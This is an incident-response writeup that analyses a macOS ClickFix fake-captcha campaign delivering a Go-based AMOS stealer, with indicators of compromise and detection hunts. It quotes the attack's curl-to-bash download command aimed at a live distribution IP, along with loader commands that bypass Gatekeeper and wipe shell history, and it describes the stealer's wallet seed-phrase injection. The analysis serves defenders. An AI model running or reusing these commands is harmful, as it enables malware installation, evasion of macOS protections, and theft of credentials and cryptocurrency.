> For the complete documentation index, see [llms.txt](https://www.iblue.team/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.iblue.team/incident-response-1/another-day-another-clickfix.md).

# Another day, another ClickFix

## ClickFix on macOS: A Fake Captcha That Ends in a Go-Based AMOS Stealer

**Platform: macOS (Intel and Apple Silicon)**\
**Vector: fake reCAPTCHA / ClickFix**\
**Payload: Go AMOS fork (Poseidon/Odyssey lineage)**

***

### Background

ClickFix is social engineering, not an exploit. The attacker convinces the user to run a command themselves, so every control that assumes "the user would not paste a shell command into Terminal" is the control being bypassed.

This writeup walks the full chain end to end, from the injected JavaScript on a compromised website through to the final stealer, and gives you the indicators and hunts to find it in your own environment. The sample set is a Go-compiled stealer from the AMOS family. It injects into Electron wallet apps to phish recovery phrases directly.

***

### The Attack Chain

The campaign runs in three stages, plus a separate telemetry channel that beacons at every step.

1. **Stage 1, the lure.** Obfuscated JavaScript injected into a compromised site (WordPress, based on the admin-detection logic) renders a fake reCAPTCHA overlay. It only fires on real Macs. Clicking the checkbox writes a base64-wrapped shell command to the clipboard and shows localised instructions in 14 languages telling the user to open Terminal and paste it.
2. **Stage 2, the loader.** A bash script that fingerprints the CPU architecture, pulls the matching binary, strips quarantine, ad-hoc signs it to defeat Gatekeeper, runs it, wipes the last line of shell history, and reports each step home.
3. **Stage 3, the stealer.** A Go Mach-O (separate Intel and ARM builds) that dumps the keychain, raids browsers and around seventy wallet products, grabs developer and cloud credentials, and injects JavaScript into Electron wallet apps to steal seed phrases.

***

### Stage 1: The Fake Captcha

The injected script is obfuscated with the standard obfuscator.io string-array rotation. Once decoded, the logic is straightforward.

It gates hard on platform before doing anything:

```js
// Only continue on a genuine Mac. iOS and iPadOS-as-Mac are excluded.
isMac = /Macintosh/i.test(ua) && !(iOS || iPadOS-with-touch)
if (!isMac) return;
```

It also bails out for automation and for logged-in site admins, which is how it stays quiet on compromised hosts:

* `navigator.webdriver`, zero `navigator.languages`, or a headless user agent (`HeadlessChrome`, `PhantomJS`, `Puppeteer`, `Selenium`) all stop execution.
* A `wp-login.php?action=logout` link in the DOM means a logged-in WordPress admin is viewing the page, so it sets a suppression cookie and exits.
* A `?force=1` parameter overrides the gating, which is how the operators test it.

When the user clicks the checkbox, the script builds a command and writes it to the clipboard. Reconstructed, the inner command is:

```bash
export SRC_URL='<compromised page URL>' && \
(cd /tmp && curl -kfsSL "http://138.124.91[.]33/d8d2585e?force=1" -o .XXXXXX && bash .XXXXXX && rm -f .XXXXXX)
```

That command is then base64-encoded and wrapped so the clipboard string looks like a harmless "reCAPTCHA Verification ID." When pasted into Terminal it decodes and pipes to bash. The `SRC_URL` variable carries the source site forward to the next stage for affiliate tracking.

***

### Stage 2: The Loader

The downloaded second stage is a bash script, not a binary. It pads itself with dead functions and two base64 blobs that decode to bash no-ops, both designed to waste an analyst's time. The real behaviour:

It picks the payload by architecture:

```bash
# Apple Silicon
http://138.124.91[.]33/80d4db990b839?force=1
# Intel
http://138.124.91[.]33/77422b219b1040?force=1
```

It defeats Gatekeeper on the downloaded file before running it:

```bash
xattr -d com.apple.quarantine "$FILE"   # strip the quarantine flag
codesign --force --sign - "$FILE"       # ad-hoc self-sign so it runs unnotarised
```

It stages a copy under a name that blends in:

```
~/Library/Caches/com.apple.system/com.apple.update
```

This is a masquerade and staging location, not persistence in itself. No LaunchAgent plist is written here. Persistence is the stealer's job.

It then cleans up after the user:

```bash
sed -i '' '$d' "$HOME/.zsh_history"    # delete the last history line
sed -i '' '$d' "$HOME/.bash_history"   # i.e. remove the pasted ClickFix command
```

Every step beacons to a telemetry host that is separate from the download host:

```
http://147.45.43[.]209:8133/api/t
```

Beacon events seen: `loader_start`, `download_ok`, `exec_start`, `exec_ok`, `exec_fail`, `download_fail`, each carrying a random request id and the source URL.

***

### Stage 3: The Stealer

The final payload is a Go-compiled Mach-O, around 46 MB once you account for the Go runtime. This is not the lightweight C++ Atomic build. It matches the Poseidon/Odyssey branch of the AMOS family: Go compilation, PAM-based password validation, and an Electron injection module.

The imports map the capability cleanly. It links `libpam.2.dylib` to validate a captured password through PAM, the full `SecKeychain` set to dump the login keychain, and `NSPasteboard` to read the clipboard.

What it collects:

**Keychain and credentials.** Direct access to `login.keychain-db` via `SecKeychainOpen`, `SecKeychainUnlock`, `SecKeychainFindGenericPassword`, and `SecItemCopyMatching`, with PAM used to confirm the stolen user password is valid.

**Browsers.** Chrome, Brave, Edge, Firefox, and Opera GX. Cookies, history, Local Storage, `key4.db`, login data, autofill, and saved cards.

**Wallets.** Around seventy browser-extension and desktop wallets, including MetaMask, Phantom, Keplr, Exodus, Atomic, Electrum, Ledger Live, Trezor, OneKey, Coinomi, and many more, plus exchange references for Binance, Kraken, KuCoin, Bitget, Gate.io, Gemini, BitMEX, Phemex, CoinEx, and others.

**Developer and cloud credentials.** SSH keys, `.gnupg`, AWS, gcloud, `.npmrc`, `.netrc`, Vercel, Netlify, Railway, Heroku, Linode, Hetzner, Docker, `.pgpass`, rclone, Pulumi, Doppler, Conjur, Stripe, and crypto dev tooling like Foundry, Hardhat, Truffle, and Starkli.

**File grabber.** Scans user folders for files matching keywords such as `seed`, `privkey`, `pub_key`, `keyring`, `12words`, `24words`, `api_key`, `.env`, and `phrase`.

#### The part worth your attention: Electron wallet seed-phrase injection

This is what lifts the sample above a commodity stealer. It carries a JavaScript payload that it injects into Electron-based wallet desktop apps. The injected code:

* Forces `webPreferences.sandbox = false` in the preload so `require()` works inside the app.
* Disables the wallet's own auto-updater through its Redux store, for example `window.__TREZOR_STORE__.dispatch({ type: '@update/enable', payload: { enabled: false } })`, so the tampered app is not repaired by an update.
* Renders a fake "critical security update" or "data integrity error" dialog, in multiple languages, telling the user to re-enter their recovery phrase to "verify wallet integrity."
* Validates the entered phrase against the bip39 checksum, then exfiltrates it.
* Hooks a clipboard paste handler to auto-fill seed fields.

Named targets are Trezor Suite, Ledger Live, Exodus, and Atomic. The exfiltrated artefacts are written with obvious names: `TrezorSeed.txt`, `LedgerSeed.txt`, `AtomicPassword.txt`, `ExodusPassword.txt`, `ExodusSeedEncrypted.txt`, `AtomicWalletData.txt`.

Read that sequence again. The malware does not guess your seed. It asks for it, inside the real wallet window, behind a dialog that says the phrase is "verified locally and never sent to our servers." Legitimate wallet software never asks you to type your recovery phrase back to it for a security check.

#### Persistence and evasion

Persistence is a LaunchAgent plist, re-signed with `codesign --deep --sign -`. Anti-analysis checks `hw.model` for virtualisation and the username for `analyst`, `malware`, and `sandbox`. The downloaded binary itself is unsigned: the ad-hoc signature is applied on the victim host by the stage 2 loader, so there is no code-signing identity to pivot on from the sample.

#### Where it exfiltrates

The stealer talks over a WebSocket to `wss://<host>/api/t`. The host is supplied at runtime from a config struct (`C2Ip`, `C2Ept`), so it is not a plaintext string in the binary. The `/api/t` path is shared with the stage 2 telemetry host `147.45.43.209:8133`, which ties the two together. Confirming the live exfil host needs dynamic detonation or config extraction.

***

### Indicators of Compromise

<table><thead><tr><th width="170">Type</th><th width="294">Indicator</th><th>Notes</th></tr></thead><tbody><tr><td>Distribution host</td><td><code>138.124.91[.]33</code></td><td>Serves stages 1, 2, and 3 over plain HTTP</td></tr><tr><td>Stage 1 URL</td><td><code>http://138.124.91[.]33/xxxxxxxx?force=1</code></td><td>Clipboard command target</td></tr><tr><td>Stage 3 URL (ARM)</td><td><code>http://138.124.91[.]33/xxxxxxxx?force=1</code></td><td>Apple Silicon build</td></tr><tr><td>Stage 3 URL (Intel)</td><td><code>http://138.124.91[.]33/77422b219b1040?force=1</code></td><td>Intel build</td></tr><tr><td>Telemetry / C2</td><td><code>http://147.45.43[.]209:8133/api/t</code></td><td>Loader beacons; shares path with stealer exfil</td></tr><tr><td>Stealer exfil</td><td><code>wss://&#x3C;host>/api/t</code></td><td>Host is runtime config, not plaintext</td></tr><tr><td>Geolocation lookup</td><td>ip-api, ipinfo, ipwhois</td><td>Outbound from a non-browser process is suspicious</td></tr><tr><td>Dropped file (temp)</td><td><code>/tmp/.&#x3C;6 random chars></code></td><td>Hidden, executed then deleted</td></tr><tr><td>Staged binary</td><td><code>~/Library/Caches/com.apple.system/com.apple.update</code></td><td>Masquerade location</td></tr><tr><td>Marker file</td><td><code>/var/db/.4743c531</code></td><td>Infection or sandbox sentinel</td></tr><tr><td>Persistence</td><td>LaunchAgent plist, short or random label, <code>RunAtLoad</code></td><td>Re-signed with <code>codesign --deep --sign -</code></td></tr><tr><td>Gatekeeper bypass</td><td><code>xattr -d com.apple.quarantine</code> + <code>codesign --force --sign -</code></td><td>On a freshly written file</td></tr><tr><td>Anti-forensics</td><td><code>sed -i '' '$d'</code> on <code>.zsh_history</code> and <code>.bash_history</code></td><td>Removes the pasted command</td></tr><tr><td>Seed exfil files</td><td><code>TrezorSeed.txt</code>, <code>LedgerSeed.txt</code>, <code>AtomicPassword.txt</code>, <code>ExodusPassword.txt</code>, <code>ExodusSeedEncrypted.txt</code>, <code>AtomicWalletData.txt</code></td><td>From the Electron inject</td></tr><tr><td>Campaign markers</td><td><code>af92109bfa41a94c</code>, <code>2f6e6abf141d825d</code></td><td>Embedded build tags (execute as no-ops)</td></tr><tr><td>SHA-256 (Intel)</td><td><code>d6e5884827cc92b023add3c28383f02b1fa2f4e0392062765c3089914477d13c</code></td><td><code>stage3_x86.bin</code></td></tr><tr><td>MD5 (Intel)</td><td><code>190f79f7f4ebd642a705d59f59f0b6b6</code></td><td><code>stage3_x86.bin</code></td></tr><tr><td>SHA-256 (ARM)</td><td>record locally from <code>stage3_arm64.bin</code></td><td>Hash the slice you retrieve</td></tr></tbody></table>

***

### Detection and Hunting

**Endpoint process chains.** The strongest signals sit in the parent-child relationships, not any single process:

```
# Terminal or a shell spawning curl to the distribution host
Terminal/bash/zsh  ->  curl  ->  138.124.91.33

# Execution of the staged masquerade binary
exec of ~/Library/Caches/com.apple.system/com.apple.update

# Gatekeeper bypass on a just-written file
codesign --force --sign -   AND   xattr -d com.apple.quarantine

# History tampering right after a shell command
sed -i '' '$d' on ~/.zsh_history or ~/.bash_history
```

**Network.** Block and alert on egress to `138.124.91[.]33` and `147.45.43[.]209:8133`. Both are raw HTTP to a bare IP, so look in flow and connection logs, not DNS. Flag WebSocket connections to a `/api/t` path. Treat ip-api, ipinfo, and ipwhois lookups from non-browser processes as a weak signal worth correlating.

**Electron tampering.** Hunt for modified wallet application bundles: a preload or `asar` carrying `sandbox: false`, integrity check failures in Trezor Suite, Ledger Live, Exodus, or Atomic, and any wallet showing an unexpected `disableUpdate` flag.

**Filesystem.** New LaunchAgent plists with short or random labels and `RunAtLoad`, the marker file `/var/db/.4743c531`, and any binary staged under `~/Library/Caches/com.apple.system/`.

***

### What to Tell Your Users

The technical detections above will catch what reaches the endpoint. The cheaper control is the one that stops stage 1 cold, and it is a single sentence your users can remember.

A real captcha never asks you to open Terminal, paste anything, or press Command and Return to prove you are human. If a website gives you those instructions, close the tab. If you have already pasted and run a command from a "verification" page, treat the machine as compromised, rotate every credential and seed phrase from a clean device, and raise it with your security team.

The wallet angle deserves a second sentence. No legitimate wallet, hardware or software, will ever ask you to type your recovery phrase back into the app for a "security update" or an "integrity check." That prompt is theft, even when it appears inside the genuine application window.

***
